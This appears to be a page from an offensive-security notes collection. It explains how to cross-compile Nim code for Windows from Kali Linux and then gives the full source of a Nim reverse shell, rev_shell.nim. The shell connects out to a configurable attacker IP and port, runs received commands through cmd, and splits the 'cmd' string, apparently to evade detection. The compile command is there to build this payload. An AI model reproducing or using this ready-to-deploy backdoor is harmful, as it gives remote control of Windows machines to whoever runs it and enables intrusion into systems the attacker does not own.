🟥Nim cross compile in linux to windows
tested in kali aarch64 on M1
Source: https://ubuntuincident.wordpress.com/?s=nim+cross+compile
nim
Nim programming language compiler.--os:windows
Target operating system is set to Windows.--cpu:amd64
Target CPU architecture is set to amd64 (64-bit).--gcc.exe:x86_64-w64-mingw32-gcc
Path to GCC executable for compiling Nim code. Set to the 64-bit MinGW-w64 GCC executable for Windows.--gcc.linkerexe:x86_64-w64-mingw32-gcc
Path to the GCC linker executable. Points to the 64-bit MinGW-w64 GCC linker for Windows.-d:release
Instructs Nim to compile the code in release mode, typically including optimizations for performance.c
Indicates that the Nim code (rev_shell.nim) should be compiled to C code.rev_shell.nim
Nim source file to be compiled to C code.
Summary: Compiles Nim code (rev_shell.nim) targeting a Windows environment with a 64-bit architecture. Uses specified GCC executables for compilation and linking. Output is C code with optimizations for release mode applied during compilation.
$ nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c rev_shell.nim
#[
rev_shell.nim
Created by Sn1r
https://github.com/Sn1r/
]#
import net, os, osproc, strutils
proc exe(c: string): string =
result = execProcess("cm" & "d /c " & c)
var
v = newSocket()
# Change this
v1 = "192.168.1.1"
v2 = "8080"
s4 = "Exiting.."
s5 = "cd"
s6 = "C:\\"
try:
v.connect(v1, Port(parseInt(v2)))
while true:
v.send(os.getCurrentDir() & "> ")
let c = v.recvLine()
if c == "exit":
v.send(s4)
break
if c.strip() == s5:
os.setCurrentDir(s6)
elif c.strip().startswith(s5):
let d = c.strip().split(' ')[1]
try:
os.setCurrentDir(d)
except OSError as b:
v.send(repr(b) & "\n")
continue
else:
let r = exe(c)
v.send(r)
except:
raise
finally:
v.close
Last updated